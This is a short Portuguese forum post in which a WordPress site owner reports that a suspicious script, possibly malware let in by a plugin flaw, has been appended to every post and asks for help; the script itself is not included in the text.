Script inserido no final das postagens do site wordpress é algum tipo de vírus por alguma falha em algum plugin

[Chirlison 1]

Estou com um problema no site e gostaria da ajuda dos colegas para poder solucionar a possível brecha de segurança no site.

Todas as postagens do site apareceram com um código estranho no final de cada uma delas.

O código é mostrado apenas dentro do editor classic do wordpress. Na página onde o post é listado o código não é mostrado

Abaixo segue o código inserido no final de cada uma das postagens do site.
